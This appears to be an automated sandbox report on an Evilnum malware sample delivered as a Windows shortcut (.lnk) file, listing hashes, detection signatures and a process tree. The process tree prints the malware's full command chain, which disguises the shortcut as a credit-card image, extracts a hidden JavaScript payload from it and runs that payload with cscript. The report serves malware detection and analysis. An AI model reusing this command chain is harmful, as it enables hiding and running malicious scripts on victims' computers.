Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 06:01

General

  • Target

    1bd7598549a967fe6df9c79a173e3f6c6721ec21088e5e1543e2865436cce284.lnk

  • Size

    173KB

  • MD5

    8c4675a080b642bbf9f096d0e60711ff

  • SHA1

    36345044d5e88cc8c002863e3f1f48fdec8ff4d9

  • SHA256

    1bd7598549a967fe6df9c79a173e3f6c6721ec21088e5e1543e2865436cce284

  • SHA512

    362243992ad92b2824c3e2f102d4337da32181868fe482c4d4d058c7a50a020df2fff1f5be8a7bbd50469a55b4b142831ff2f44f81136b406f07a4c81513f3b1

Score
10/10

Malware Config

Signatures

  • Evilnum

    A malware family with multiple components distributed through LNK files.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\1bd7598549a967fe6df9c79a173e3f6c6721ec21088e5e1543e2865436cce284.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Credit Card Front.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1876
      • C:\Windows\system32\forfiles.exe
        forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
        3⤵
          PID:1656
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
          3⤵
            PID:524
          • C:\Windows\system32\find.exe
            find "TRU4"
            3⤵
              PID:676
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" rd a"
              3⤵
                PID:472
              • C:\Windows\system32\cscript.exe
                cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
                3⤵
                  PID:800

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/1672-54-0x000007FEFBAD1000-0x000007FEFBAD3000-memory.dmp

              Filesize

              8KB